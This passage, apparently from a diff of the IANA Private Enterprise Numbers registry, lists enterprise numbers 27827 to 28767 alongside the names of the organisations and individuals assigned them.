+27827 i-Solutions AB
+27828 St. Paul's Cardiac Electrophysiology, Ltd.
+27829 Mira Networks (Pty) Ltd
+27830 Epitiro Ltd
+27831 Itexis SARL
+27832 Thomas Bauer
+27833 Bizvox Consultoria e Tecnologia de Voz Ltda
+27834 Consumers Energy Corporation
+27835 Gemstar - TV Guide International, Inc.
+27836 jag-stang.ch
+27837 HanDreamNet
+27838 Host Grad Inc.
+27839 Markus Boas
+27840 polygon
+27841 IP Networks Ltd
+27842 Klebanov
+27843 Internet Computing & Security Laboratory
+27844 iVEC
+27845 Netcube Technologies,Inc
+27846 Prill Tecnologia Ltda
+27847 VirtenSys Ltd.
+27848 Itron GmbH (formerly 'Actaris Gaszaehlerbau GmbH')
+27849 American Research Institute
+27850 LiquidXStream Systems Inc
+27851 Video Furnace, Inc.
+27852 GUANGZHOU ZHIYUAN ELECTRONIC CO.,LTD.
+27853 mconsultancy
+27854 Petr Kutalek
+27855 Interactions Corporation
+27856 The Council of Australian University Directors of Information Technology (formerly 'Australian Access Federation')
+27857 J. Gordon Electronic Design
+27858 University of Delhi
+27859 Rapid Information & Communication co. Ltd
+27860 DMS Group
+27861 FILS COMMUNICATIONS LTD
+27862 AtNOC Corn Zauner OEG
+27863 DSR Communications Pty Ltd
+27864 VOCEL, Inc.
+27865 Tellvox S.A.
+27866 Logictec
+27867 Entic Services
+27868 Guardtime OÜ
+27869 Microprocessador - Sistemas Digitais, SA
+27870 Hooghuis lyceum
+27871 shee consultants
+27872 FPT Corporation
+27873 The Bridgeman Art Library Ltd
+27874 eurotel spa
+27875 Zenulta Ltd
+27876 ResponsFabrikken Serviços de Telecomunicações Ltda.
+27877 Blustaff S.p.A.
+27878 agenos GmbH
+27879 CTDI Nethouse Services GmbH
+27880 FreeSWITCH
+27881 KCS Digital, Inc.
+27882 Puryear Information Technology, LLC
+27883 Extension7
+27884 Dom Finansowy QS
+27885 National City Corporation
+27886 Blacknight Internet Solutions Ltd
+27887 TUI-NET
+27888 AxesNetwork Solutions inc.
+27889 Beijing Huamei Netwave Technology Co.,Ltd.
+27890 Roundbox Inc.
+27891 Intercomgi Argentina S.R.L.
+27892 Navaneethan Shenoy
+27893 DMS
+27894 Cube Optics AG
+27895 ISHD - Inline-Skaterhockey Deutschland
+27896 Harpa Italia Srl
+27897 QSI srl
+27898 RAILOG SPA
+27899 STC Raduga
+27900 IT-Optics sa
+27901 Pier 29 Networks CC
+27902 Iris, FGUP PKP
+27903 Ingenieurbuero fuer EDV und Netzwerktechnik - Stefan Hartmann
+27904 Suncorp-Metway Ltd
+27905 Universitaet Wuerzburg
+27906 Community4you GmbH
+27907 tvtv Services a branch of Sony United Kingdom Ltd.
+27908 projects4web.de
+27909 LogRhythm Inc.
+27910 Presto Networks, Inc.
+27911 DDS, Inc.
+27912 Messaging Architects
+27913 The Internet Group (Northland) Ltd.
+27914 iXcall
+27915 The Computer Centre for Icelandic Savings Banks
+27916 NEC Portugal, S.A.
+27917 ATCO I-Tek Inc
+27918 Wilfrid Laurier University
+27919 Loto-Quebec
+27920 Viewtel Co., Ltd.
+27921 Information and Mathematical Science Laboratory, Inc.
+27922 Tripoint Corporation Pty Ltd
+27923 Trillian GmbH
+27924 Titof3000.org
+27925 Canon Ophthalmic Technologies Sp. z o.o. (formerly 'OPTOPOL Technology S.A.')
+27926 Future Voice Technology
+27927 Evangelische Kliniken Bonn gGmbH
+27928 Ayecka Communication Systems Ltd.
+27929 tarczynski.net
+27930 Justware Corporation
+27931 GFI Italia SpA
+27932 LignUp Corporation
+27933 NOVOTECNO, S.L.
+27934 Computer Science Club of the University of Waterloo
+27935 Sigil.org
+27936 PD-House
+27937 UTNOXIUM SL
+27938 GNU Gatekeeper Project
+27939 Intellectronika
+27940 Stadtwerke Muenchen GmbH
+27941 Elaborata Produtos e Treinamentos de Informatica Ltda.
+27942 Stredni prumyslova skola, Usti nad Labem, Stara 99, p.o.
+27943 VimpelCom Ltd.
+27944 3Leaf Networks
+27945 Upsys
+27946 thomaskoch.it
+27947 Gridline Communications Holdings Inc.
+27948 CPM Ltd.
+27949 C. Alex. North-Keys
+27950 Sterling Consulting Group, Inc.
+27951 ISGenesis, Inc.
+27952 Gazprombank Certification Authority
+27953 bitPlus GmbH
+27954 Flexoft Ltd.
+27955 GridNode
+27956 OPNATEL
+27957 Rettig ICC
+27958 weComm Ltd
+27959 International Power Switch ApS
+27960 e-Business & Resilience Centre
+27961 Tribunal de Justica de Santa Catarina
+27962 Demonhost Inc.
+27963 Westec InterActive Security
+27964 Commugen Ltd.
+27965 Scribe Technology Inc.
+27966 Citiway Technology Co.,Ltd
+27967 APNIC Pty Ltd
+27968 Akonix Systems, Inc.
+27969 Multical Ltda.
+27970 kryglik.com
+27971 China Infosec Technologies Co.,Ltd.
+27972 Mac Papers, Inc.
+27973 Open Finance, LLC
+27974 MCS GROUPE
+27975 Centec Networks Inc.
+27976 GEO CONCEPT SA
+27977 Genex
+27978 Stewart Information Service Corporation
+27979 Met Sacramento High School
+27980 POSYSTECH Co., Ltd.
+27981 Intrachaos.net
+27982 Servelec Technologies (formerly 'RTUnet Pty Ltd')
+27983 TechGuard Security, LLC
+27984 MSBC Pty Limited
+27985 Swinburne University of Technology
+27986 Avonaco Systems Inc.
+27987 DataAccess Inc.
+27988 TOPFIELD Co., Ltd.
+27989 Nepro Japan Co., Ltd.
+27990 Ltd. AVTOR
+27991 Media Layers Inc.
+27992 Endesa Network Factory S.L.U.
+27993 Vigintos Elektronika
+27994 Xunta de Galicia. Conselleria de Innovación e Industria. Dirección Xeral de Promocion Industrial e S
+27995 FORTH CORPORATION PUBLIC COMPANY LIMITED
+27996 Entorno Digital
+27997 Me-On-Tv
+27998 Triple IT
+27999 Trepesch GmbH
+28000 Aptivate Ltd
+28001 Tufts Associated Health Plans, Inc.
+28002 The Source
+28003 Bender Est.
+28004 Mobiletech AS
+28005 LissProductions
+28006 United Space Alliance
+28007 Jasmin Buchert
+28008 Canu Group LLC
+28009 ActionCOACH Inc.
+28010 Kumamoto Technology and Industry Foundation
+28011 NETNIC CORPORATION
+28012 ChannelSoft (Beijing) Technology Co.,Ltd
+28013 Photobucket, Inc.
+28014 BROADVOX GmbH
+28015 metrocom corporation
+28016 D-Cube Resource
+28017 tekuso H. Kaelber
+28018 netjfwatcher
+28019 TradeRoot Technologies (Pty) Ltd
+28020 Tefnet
+28021 trevedi it-consulting gmbh
+28022 VITALPHONE SARL
+28023 VITALIX SARL
+28024 Pilot Systems
+28025 Capita Business Services Ltd
+28026 Hostbasket
+28027 Moviclips S.A.
+28028 Urquhart Consultancy
+28029 Mera Systems, Inc.
+28030 The Sidwell Company
+28031 Brightprofiles Resources ltd
+28032 creat.io, s. r. o. (formerly 'Genesys, s. r. o.')
+28033 VERISOFT CONSULTING TECNOLOGIA DA INFORMAÇÂO LTDA
+28034 Belkin Logistics, Inc
+28035 Venture Data L.L.C.
+28036 TalNet
+28037 Iaso Pty Ltd
+28038 Triharpskel Productions
+28039 Comwave Telecom Inc.
+28040 Technological Educational Institute (TEI) of Crete
+28041 Jackpot.uk.net
+28042 KMK Solutions
+28043 Altorian Systems Inc
+28044 TECOM CO., LTD.
+28045 URALSIB Financial Corporation
+28046 Distributed Management Sytems Ltd.
+28047 Novabase srl
+28048 Presto - prekladatelske centrum s.r.o.
+28049 ms2-GmbH
+28050 Oxford Computer Group (2005) Limited
+28051 Atlas IT
+28052 Boomer Consulting, Inc.
+28053 Tervela Inc.
+28054 Tower Cloud, Inc.
+28055 Beck Datentechnik
+28056 Jojo
+28057 NebuAD Inc.
+28058 SNDI (Société Nationale de Développement Informatique)
+28059 Mohawk Software
+28060 Telairity, Inc
+28061 Interzone Entertainment LLC
+28062 Kewego SA
+28063 SanDisk IL Ltd
+28064 OKTET Labs Ltd.
+28065 TraviAustria Datenservice für Reise und Touristik GmbH & Co. Nfg. KG
+28066 Inomacomp s.r.o
+28067 Softcreate Co., Ltd.
+28068 connectBlue AB
+28069 Universidad de Antioquia
+28070 Illertech Datensysteme Gbr
+28071 Gentiae Clinical Research
+28072 Engine Yard
+28073 Grace Reformed Baptist Church
+28074 Ricu LLC
+28075 Support My System (UK) ltd
+28076 Recommind, Inc.
+28077 WiseSport (Hong Kong) Limited
+28078 Genos Open Source S.L.
+28079 OpenScale Technologies GmbH
+28080 "ISG" Joint Stock Company
+28081 New Castle Community School Corporation
+28082 Rdesign
+28083 SOSDG
+28084 Polk Mechanical Company, LLC
+28085 STMIK Akakom
+28086 Universitaet Passau
+28087 Albentia Systems, S.A.
+28088 NEC Unified Solutions
+28089 Sentrigo Ltd
+28090 IAM Technology, Inc.
+28091 Thelese Management
+28092 Covelight Systems, Inc.
+28093 Colombia Movil
+28094 Voicemail Anywhere, Inc.
+28095 JPEO JTRS
+28096 Route1 Security Corp.
+28097 ACKSYS
+28098 National Interbank Transaction Management and Exchange Co., Ltd.
+28099 Processing Center Co., Ltd.
+28100 Groupwhere Consulting, L.L.C.
+28101 MIVAN KIER JOINT VENTURE LIMITED NEWPARK BUCHAREST
+28102 baringanet gmbh
+28103 Audionics Ltd
+28104 Evorad
+28105 Arcelor Bremen GmbH
+28106 GEUTEBRUECK
+28107 Liangjiang Communications System Inc.
+28108 Homisco, Inc
+28109 Rozis BV
+28110 Near Infinity Corporation
+28111 ValuePoint Networks, Inc.
+28112 Pioneer Bible Translators
+28113 Thai Digital ID Co., Ltd.
+28114 Quies Net
+28115 Shenzhen o'wonder Tech Inc
+28116 4-tune GmbH
+28117 Clear Memo
+28118 ColdSpark Inc
+28119 Steelworks Technologies
+28120 Pinacono Software Studio
+28121 Hyperband Networks, Inc.
+28122 ObjectMastery Pty Ltd
+28123 Intermodus d.o.o
+28124 C-Group
+28125 TRINAPS
+28126 ERAMON GmbH
+28127 COSSILYS 21
+28128 CIT
+28129 Cleversafe , Inc.
+28130 MICHATECH
+28131 iBro
+28132 Embarq Holdings Company LLC
+28133 INSIST
+28134 LOT Polish Airlines
+28135 Cominfo a.s.
+28136 Delta Dore SA
+28137 NXP Semiconductors B.V.
+28138 Icepeak AB
+28139 Hrvatski Telekom d.d.
+28140 IT GAMES COMERCIO E SERVICOS DE INFORMATICA LTDA
+28141 CedarOpenAccounts
+28142 Nautel Limited
+28143 Altaigazprom
+28144 Trilus d.o.o.
+28145 origenis GmbH
+28146 Fitzpatrick Enterprise OID
+28147 Argon ST
+28148 saint-paul luxembourg s.a.
+28149 RBAS
+28150 IMS Global Learning Consortium Inc.
+28151 BluePoint Data, Inc.
+28152 Palo Alto Software, Inc.
+28153 Newfound Communications, Inc
+28154 Lattech Systems (Pty) Ltd
+28155 Computer Network Solutions, LLC
+28156 Reveredata, LLC
+28157 Octon Technology(Shanghai) Ltd.
+28158 Great Software Laboratory Pvt Ltd
+28159 OOPS Development Organization
+28160 Mototech Inc.
+28161 Anzsoft Co., Ltd.
+28162 Kazinvestbank
+28163 Beijing Institute of Technology
+28164 think-tux
+28165 InterpharmData Systems (Pty) Ltd.
+28166 Webbed Feet
+28167 atip GmbH
+28168 Nextlink Technologies, LLC
+28169 World Trade Organization
+28170 South African National Bioinformatics Institute (SANBI)
+28171 Corps Rhenania
+28172 Bibliotheksservice-Zentrum Baden-Wuerttemberg
+28173 Advanced Control Systems Design, Inc.
+28174 Solid State Logic
+28175 GlenTech Consulting
+28176 Rockport PA, LLC
+28177 Buddhadata Consulting, Inc.
+28178 Internet Software Solutions
+28179 Bank Zachodni WBK S.A.
+28180 Cvörnjek Lagerlogistik GmbH
+28181 Whitestein Technologies AG
+28182 Mobile Visions
+28183 MungerWare
+28184 Hagenuk Marinekommunikation GmbH
+28185 zzvcom
+28186 SSA Global Technologies
+28187 Uptime Power Services, Inc.
+28188 Kim Minh Kaplan
+28189 Intelivox
+28190 Genoscope -- Centre National de Séquencage
+28191 JVS do Brasil LTDA
+28192 digitallysign
+28193 WebPresso
+28194 Exterity Ltd
+28195 SKY Italia s.r.l
+28196 BroadWare Technologies, Inc.
+28197 Wichita State University
+28198 SNC-Lavalin Energy Control Systems Inc.
+28199 kmel
+28200 CBC Companies, Inc
+28201 DBG Inc.
+28202 Albert Bauer KG
+28203 Linux Kernel Austria
+28204 Synerway
+28205 7-ip Pty Ltd
+28206 IKB Deutsche Industriebank AG
+28207 Rockford IT Limited
+28208 Accurite Technologies Inc.
+28209 Up-Mobile Corp
+28210 SunRocket Inc.
+28211 Emergency Response Management Services Inc.
+28212 FARIISTA LIMITED
+28213 Open joint-stock company "Agency for Mortgage Housing Crediting"
+28214 KERNEOS
+28215 3Roam SA
+28216 FingerPost Ltd
+28217 Radiant Logic PTY LTD
+28218 The MARF Research and Development Group
+28219 Liam Schneider Consulting
+28220 Brighthouse Networks
+28221 Stabat Solutions Pty Ltd
+28222 Spectrum Communications FZE
+28223 Quarto Software GmbH
+28224 Efficens Software Ltd.
+28225 OS Security Ltd
+28226 Digidiensten
+28227 BTC AD
+28228 WIFINET,s.r.o.
+28229 Pharos Communications Ltd
+28230 Fidback CRM Services
+28231 AM Fire & Electronic Services, Inc.
+28232 Prince George's Community College
+28233 iSERVE Ltd.
+28234 Cypress Communications, Inc.
+28235 Ellie Mae, Inc.
+28236 MySpace, Inc.
+28237 CodeRyte, Inc
+28238 ADE
+28239 University of the Ryukyus
+28240 Wavelength Communications, Inc.
+28241 RidgeRun LLC
+28242 OraTel Pty (Ltd)
+28243 Pulsar Inc.
+28244 Haus am Rügendamm
+28245 agorum Software GmbH
+28246 Trusted Peer Networks, Inc
+28247 Maxis Communications Berhad
+28248 Newport Development Group
+28249 eonas IT-Beratung und -Entwicklung GmbH
+28250 Enerconv S.r.l.
+28251 The Constitutionalist Party of Iran (CPI)
+28252 Informatec
+28253 Scivis wissenschaftliche Bildverarbeitung GmbH
+28254 COBS AB
+28255 Unassigned
+28256 InfoGuard AG
+28257 NUTRICHEM Diät+Pharma GmbH
+28258 EidosMedia S.p.A.
+28259 Landeshauptstadt Stuttgart (formerly 'bw-trust CA')
+28260 PROGIWEB
+28261 ProfiForms Projekt GmbH
+28262 Chick-fil-A, Inc
+28263 Total Spin Brasil Serviços de Telecomunicações Ltda
+28264 CLINICARE Corporation
+28265 FSB Förster SystemBeratung
+28266 L.A. Specialties Inc.
+28267 CYBERTRON CO., LTD.
+28268 Global Red Solucoes em Software Livre Ltda.
+28269 Institute for Theoritical Computer Science, Tsinghua University
+28270 Göteborgs Hamn AB
+28271 HTBLuVA Moedling
+28272 Concurrent Systems (Pty) Ltd
+28273 Starling Advanced Communications
+28274 MC Control s.r.o.
+28275 ioSafe, Inc.
+28276 Galeno
+28277 LucasP.com
+28278 DinnoVan
+28279 Rocksteady Networks LLC
+28280 GHL Systems Berhad
+28281 Sling Media, Inc.
+28282 Kronos, Inc
+28283 MEDITECNIA INNOVA SL
+28284 Estonian eHealth Foundation
+28285 AGES - Österreichische Agentur für Gesundheit und Ernährungssicherheit GmbH
+28286 Daon
+28287 Optium Corporation
+28288 LightRail Inc.
+28289 WhisperItLoud LLC
+28290 XAware, Inc.
+28291 Naval Postgraduate School Center for Network Innovation and Experimentation
+28292 Stepstone Technologies Inc.
+28293 Julong Sci-tech Co., Ltd.
+28294 Instituto Reconcavo de Tecnologia
+28295 Gainspan Corporation
+28296 von KARMAN INSTITUUT VOOR STROMINGSDYNAMICA ivzw
+28297 Lublin Technical University
+28298 Info.nl/hf b.v.
+28299 unixgarage.com
+28300 Miracle TV Corporation
+28301 ONERA
+28302 One Commerce International Corporation
+28303 C.R. Enterprise Business Services
+28304 Nexcan Solutions
+28305 Universitas Islam Indonesia
+28306 Foerderverein Buergernetz Ulm/Neu-Ulm e.V.
+28307 PostPath, Inc.
+28308 Zaragoza Network Management Research Group
+28309 StatRad LLC (formerly 'Stat Radiology Medical Corp')
+28310 Center for Computational Biology and Bioinformatics
+28311 TECHNOGAMA Ltd.
+28312 Penson GHCO
+28313 Lantic Systems A/S
+28314 Ariescommerce Ltd.
+28315 Neology (Pty) Ltd
+28316 Branden Inc.
+28317 Borran Technologies Inc.
+28318 Accelink Technologies Co.,Ltd
+28319 IMIMOBILE Private LIMITED
+28320 Geotechmin OOD
+28321 Oniontech, Co., Ltd.
+28322 THOMSON STS
+28323 Central-European International Bank Ltd.
+28324 3ple-Media BV
+28325 Underground_8 Secure Computing GmbH
+28326 ko-sys
+28327 Harry & David Operations, Corp.
+28328 Bayerischer Rundfunk
+28329 Base Technologies, Inc.
+28330 Meshdynamics, Inc
+28331 Smiley Media, Inc.
+28332 Brink's Home Security
+28333 Simon Niechzial EDV Dienstleistungen
+28334 Siemens A/S (formerly 'pulz8 Communications ApS')
+28335 Xworks NZ Limited
+28336 Voxeo
+28337 albatron S.r.l.
+28338 Mushypea Industries
+28339 Universidade Federal do Pará
+28340 iseek Communications Pty. Ltd.
+28341 Civilogix, Inc.
+28342 Whitley College The Baptist College of Victoria
+28343 Rogers Wireless - OSS
+28344 DeskNet Inc.
+28345 SFC Co.,Ltd.
+28346 Duplex Secure Ltd
+28347 SAMURAIWORKS
+28348 Pimp My Proxy
+28349 PT. Bank Negara Indonesia, Tbk
+28350 Shenzhen First Mile Communications Ltd
+28351 Vimicro Corporation
+28352 maxcom
+28353 Vital Images Inc.
+28354 BCD Travel
+28355 Promsvyazbank OJSC
+28356 MyWave Internetdienstleistungs AG
+28357 Research Institute of China Mobile
+28358 AK IT Services
+28359 Simulina GmbH
+28360 Impi Linux (Pty) Ltd
+28361 Cranix Engineering Co. Ltd.
+28362 LM2 Consulting Gmbh
+28363 Bytec Bodry Technology GmbH
+28364 widesolutions.it srl
+28365 Ing.-Buero Dr. Plesnik GmbH
+28366 HostBase
+28367 PROCURE Personalmanagement GmbH
+28368 Green Valley B.V.
+28369 InetLabs (DE)
+28370 Infoteh d.o.o.
+28371 Nutel Communications, Ltd.
+28372 Gratka Sp. z o.o.
+28373 Conversant Systems (Pty) Ltd
+28374 OpenChoice di Diego Zaccariotto
+28375 EB Enterprises, Inc.
+28376 MacroElite Corp.
+28377 Bizztools GmbH
+28378 Pulsewidth
+28379 Open Systems International, Inc.
+28380 01edge technologies
+28381 Red Lion Controls (N-Tron)
+28382 Intelsat Inflight LLC
+28383 Open1X
+28384 PConRails, LLC
+28385 Columbia Weather Systems, Inc.
+28386 Fujian Fujitsu Communication Software Co., Ltd.
+28387 svenux
+28388 ITB CompuPhase
+28389 Schneeweis
+28390 19pouces
+28391 Villa Centrum Pty Ltd
+28392 Eclipse Foundation, Inc.
+28393 the emakers di Fabio Vallino
+28394 Monki
+28395 NewMarket Corporation
+28396 Edoceo, Inc.
+28397 BluegrassNet Development
+28398 Invictus Networks Pte Ltd
+28399 ACHOS.COM
+28400 Christian Mayer Buero- und EDV-Systeme
+28401 CirTec AG
+28402 Conteg
+28403 Town & Country Industries
+28404 Cynosure Research
+28405 Hunt Brothers of Louisiana, LLC
+28406 Slovenija online - SiOL internet d.o.o.
+28407 Bradley D. Brown
+28408 Ramsys Zrt
+28409 PHOTONICS INC.
+28410 Ippon Technologies
+28411 Luhansk Taras Shevchenko National Pedagogical University
+28412 Comtools GmbH
+28413 Brazilian Mercantile and Futures Exchange
+28414 Business System Development Pty Ltd
+28415 Dixie Valley Farm
+28416 SMX
+28417 MÖLLER-WEDEL GmbH
+28418 Corenet Ltd.
+28419 Trilogic
+28420 Opus Software
+28421 Partido Socialista Obrero Español (PSOE)
+28422 Tobias Scherbaum
+28423 Nucomm Inc.
+28424 Rockshore Limited
+28425 Einstein Industries, Inc.
+28426 Saint Vincent's Hospital
+28427 udicom AG
+28428 Secure64
+28429 Novanetic, Inc.
+28430 Macedonian Academic And Research Network (MARNet)
+28431 OpenAFS
+28432 Navajo Technical College
+28433 jmedved
+28434 NHK Integrated Technology Inc.
+28435 AC&T System Co.,Ltd.
+28436 Carnegie Learning
+28437 Torsten Pohl - Software-Entwicklung
+28438 rybezahl
+28439 Tradesoft Technologies Srl
+28440 Impulse LTD
+28441 Sjöland & Thyselius
+28442 RPH Consulting
+28443 Global Trader
+28444 Diratel S.L.L
+28445 Dealermade
+28446 Institute of Mathematics and Computer Science, University of Latvia
+28447 Kabona AB
+28448 FCS Fair Computer Systems GmbH
+28449 koski.org
+28450 Internet Texoma, Inc.
+28451 American Water
+28452 Arabian Horse Association
+28453 amasol AG
+28454 wh4f
+28455 Trion World Network
+28456 QNIX Pty Ltd
+28457 NTT America Enterprise Hosting
+28458 Nokia Networks (formerly 'Nokia Siemens Networks')
+28459 Rogue Engineering Inc.
+28460 Benone Bitencourt
+28461 Mutoh Industries Ltd.
+28462 KnoxOne
+28463 beginux.org
+28464 On Air Networks
+28465 Echola Systems
+28466 MrLane.com
+28467 PiCell B.V.
+28468 Fabio Prina
+28469 Cyber Media (India) Ltd
+28470 St. Lawrence University
+28471 Bremer AG
+28472 tapirdata.com
+28473 DAVOnet GmbH
+28474 periscoptic perceptions
+28475 Akademickie Centrum Kliniczne - Szpital Akademii Medycznej w Gdansku
+28476 bwin Interactive Entertainment AG
+28477 Global Tel Link
+28478 Implicit Monitoring Solutions, LP
+28479 Coremetrics
+28480 Traffic.com, Inc.
+28481 MicroImaging
+28482 Technospace SRL
+28483 Satileon Networks
+28484 ttb-group
+28485 IDTIC. C.A.
+28486 PETR HUMMEL
+28487 Digital Dynamics Inc
+28488 ROBOC Co.,Ltd.
+28489 Devcom Solutions AB
+28490 Kosmos ry.
+28491 mitene internet co.,ltd.
+28492 MD PREI KRASKRIPT
+28493 nexmedia Pte Ltd
+28494 Orbis Lumen
+28495 Rodenstock GmbH
+28496 Unassigned
+28497 The Cavell Group
+28498 linuxcon
+28499 Differitas as
+28500 Tagelin
+28501 AMBISEA Technoloy Corp., Ltd
+28502 TeleIDEA BV
+28503 Unixuser
+28504 Proclos
+28505 Faculdade Metropolitana IESB
+28506 OpServices Tecnologia da Informacao S/A
+28507 Gude Analog- und Digitalsysteme GmbH
+28508 Cunhol
+28509 FifSource
+28510 John S. Connor
+28511 DowKey Microwave
+28512 Intellibyte Inc.
+28513 VHV
+28514 ITALIACERCA s.a.
+28515 Goerz IT-Consulting
+28516 bitglue.com
+28517 7key
+28518 CA & PARTNERS
+28519 NEC Fukui, Ltd.
+28520 Nexsys Consulting Pty Ltd
+28521 Jopasana Software & Systems Ltd.
+28522 CANDIDO Kommunikationselektronik
+28523 BACH systems s.r.o.
+28524 Syntech SW Ltd
+28525 Across Finance, a.s.
+28526 CCS Customer Communication Systems GmbH
+28527 Adeptra Inc.
+28528 thevisp
+28529 NetSolutions Perú S.A.C.
+28530 Khypoea
+28531 Steven Roth
+28532 AO DAAZ
+28533 CYAN
+28534 City of Jacksonville
+28535 AlarmEngine
+28536 Zappos.com
+28537 HEALTHSIGN SL
+28538 Federated Mutual Insurance
+28539 Buf Compagnie
+28540 Weisberg Consulting, Inc.
+28541 Net Demon
+28542 Aleph Web Services
+28543 Houston Baptist University
+28544 ChilesConsulting
+28545 M.G InfoCom Pvt. Ltd.
+28546 Laubheimer
+28547 Australian National University
+28548 Caja de ahorros de Santander y Cantabria
+28549 PhysiSoft
+28550 Marand d.o.o.
+28551 Weird Solutions Sweden AB
+28552 Avocet RT Limited
+28553 Securepoint GmbH
+28554 Care2
+28555 Manheim Services Corporation
+28556 Last.fm Ltd.
+28557 Hillstone Networks Inc
+28558 KEYENCE CORPORATION
+28559 Utah State University
+28560 IServ
+28561 eHealthConnecticut
+28562 Fortune System Inc.
+28563 RFNC-VNIITF
+28564 Network Synergy Services, LLC.
+28565 Carley IP
+28566 SCache Systems
+28567 MEGLA GmbH
+28568 MicroLink
+28569 UltraRAD Corporation
+28570 Junta de Castilla y Leon
+28571 Hafslund ASA
+28572 Auditiel
+28573 zonekey Inc.
+28574 ICA-NET s.r.l.
+28575 My-Portal.gr
+28576 Longent LLC
+28577 Walnut Valley Unified School District
+28578 Powerland Computers
+28579 New World Restaurant Group, Inc.
+28580 MoroSystems, s.r.o.
+28581 Wireless Generation, Inc.
+28582 Linux Systemhaus Schulz
+28583 Tangent Systems, Inc.
+28584 Allegro Networks pty ltd
+28585 Sniddle LLC
+28586 EATON Wireless
+28587 Mobilesoft (Aust) Pty Limited
+28588 Kaplan Software, LLC
+28589 IDERs Inc
+28590 EVC Inc.
+28591 BEIJING THINKOR INFORMATION TECHNOLOGIES CO.,LTD.
+28592 Eteration A.S.
+28593 SCA Timber AB
+28594 EXGEN Networks Co., Ltd.
+28595 PATRONAS Financial Systems GmbH
+28596 CTE Digital Broadcast s.r.l.
+28597 National Centre for Scientific Research "Demokritos"
+28598 Sambers Italia Spa
+28599 Landmark Communications, Inc.
+28600 Hetra Secure Solutions Corp.
+28601 Know It All
+28602 LogicBox, Inc.
+28603 MEDNETWorld.com, Inc (formerly 'MEDNET USA, Inc')
+28604 Factory Creative Studio Ltd.
+28605 Logicalis GmbH (formerly 'Minters GmbH')
+28606 TheFind, Inc.
+28607 coforum
+28608 Technomonk Industries
+28609 SpongeLava Ltd.
+28610 Bengt MÃ¥nsson
+28611 CommAgility Ltd
+28612 Bountiful WiFi LLC
+28613 Plastek Group
+28614 6202110 Canada Inc.
+28615 Ondrej Vlach
+28616 Orpak Systems Ltd
+28617 KioriSoft, LLC
+28618 Lightning Source
+28619 Univeris Corporation
+28620 CSI Communication Systems Inc. AG
+28621 HANDICAP INTERNATIONAL
+28622 Integrated Business Systems & Services
+28623 Pari Networks
+28624 UNHfree.net
+28625 tarot.com
+28626 Laszlo Systems, Inc.
+28627 Hammernet
+28628 Twisted Storage Inc
+28629 everRaise.com
+28630 The Atlantis Consulting
+28631 GoonSwarm
+28632 EuroMedia-Service GmbH
+28633 DataCentr Ltd.
+28634 ComAp, a.s.
+28635 Fragnetics LLP
+28636 PHB Eletronica Ltda
+28637 Itadel (formerly 'DANSUPPORT')
+28638 Bellomy Research, Inc.
+28639 TxCore, Inc.
+28640 IT Linux
+28641 Delinked
+28642 Proveedor de Certificados PROCERT, C. A.
+28643 SUEIIDISS
+28644 Gary Thomas
+28645 Techila Technologies Ltd.
+28646 650mhz
+28647 EKM4 LIMITED
+28648 SIATech Inc.
+28649 SIPGear AB
+28650 AxisMobile
+28651 MODS
+28652 The Hartford
+28653 Physicians Group, L.L.C.
+28654 Mobile Interactive Group
+28655 TIANJIN OMUX COMMUNICATION TECHNOLOGY CO.,LTD
+28656 iPolicy Networks Limited
+28657 Fonoklik Iletisim Hizmetleri ve Ticaret A.S.
+28658 EnteGreat, Inc.
+28659 The Cooper-Cain Group, Inc
+28660 Linear Acoustic Inc.
+28661 Foster
+28662 Richard Gavenda
+28663 Arada Systems
+28664 GIFTCS, LLC
+28665 Village-Island Co.,Ltd.
+28666 Elaxys Tecnologia
+28667 confusatron.org
+28668 Devmach.com Linux Support Services
+28669 Bycast, Inc.
+28670 Blue Cacao Technologies, S.A. de C.V.
+28671 TORINS Ltd.
+28672 Communication Research Labs Sweden AB
+28673 Conseil Régional de Lorraine
+28674 KIRNexus GmbH
+28675 Phorm, Inc.
+28676 WireGATE Technology
+28677 Sistemas Catastrales S.A.
+28678 VTK Gent v.z.w.
+28679 Middle Atlantic Products
+28680 Appalachian Regional Healthcare, Inc.
+28681 Crystal Vision Ltd
+28682 Planetas Medios Digitales S.L.
+28683 Xerox - Document Supplies Europe
+28684 KATE-KOM
+28685 Consultem d.o.o.
+28686 The Hertz Corporation
+28687 infotronic
+28688 Samway Electronic SRL
+28689 PC Solutions Net
+28690 morrisey.us
+28691 BLStream Sp. z o.o.
+28692 Karmoy kommune
+28693 Colimbra BV
+28694 levigo holding gmbh
+28695 Philadelphia Stock Exchange
+28696 ASQUARE Consulting GmbH
+28697 Transcom Enhanced Services
+28698 Teradata Corporation
+28699 Auto/Con Corp
+28700 O-Regan.org
+28701 QuVIS, Inc.
+28702 Charles Sturt University
+28703 University of Nevada, Las Vegas
+28704 Integrated Broadcast Information Systems Ltd.
+28705 FURUNO ELECTRIC CO., LTD.
+28706 Airservices Australia
+28707 National Cancer Center
+28708 FUJIFILM Corporation
+28709 Universidade de Brasília
+28710 Dwi Tunggal Putra Private Limited
+28711 Department of Zoology, Stockholm University
+28712 META-LEVEL Software AG
+28713 GDC Technology Ltd
+28714 Slithy Toves
+28715 Edfinancial Services
+28716 Virtual Viewing Ltd
+28717 Zavod K6/4
+28718 Ministère de l'Education Nationale, Luxembourg
+28719 Tarrant County
+28720 Jaguar Software Development
+28721 Affernet Pty Ltd
+28722 Network Synergy Pty Ltd
+28723 GBCOM
+28724 AnNeal Technology Inc.
+28725 Atonics Inc.
+28726 MFLO
+28727 EFUN International Corporation
+28728 Jerich Austria GmbH
+28729 GRD
+28730 NiX
+28731 Edgeware AB
+28732 Secure Links
+28733 Ronexprim Srl
+28734 Automorpheus.com Corporation
+28735 Ahoya Networks Inc
+28736 ILOG
+28737 webapps.jp
+28738 Nippon RAD Inc.
+28739 ika
+28740 Noval Networks
+28741 Banco Popular y de Desarrollo Comunal
+28742 Horry Electric Cooperative, Inc.
+28743 Greschitz IT Security
+28744 College of Medicine, University of Ibadan, Ibadan
+28745 Comtest Wireless S.r.l.
+28746 The Swedish National Archive of Recorded Sound and Moving Images
+28747 GIP AG
+28748 LibreStream Technologies Inc.
+28749 TeliPhone inc.
+28750 ISEDEV
+28751 4INFO, Inc.
+28752 WAE Technologies, Inc.
+28753 EPS Co., Ltd.
+28754 Vinotech
+28755 comWare GmbH
+28756 Fachhochschule Worms
+28757 Mu Dynamics (formerly 'Mu Security')
+28758 Centurum Inc.
+28759 Savant Tecnologia
+28760 Albus-Insec
+28761 MDS America, Inc.
+28762 Unwire
+28763 CoCoZ
+28764 Hollywood Entertainment
+28765 South Bay Community Network, Inc.
+28766 Tradescape, Inc.
+28767 Enseo, Inc
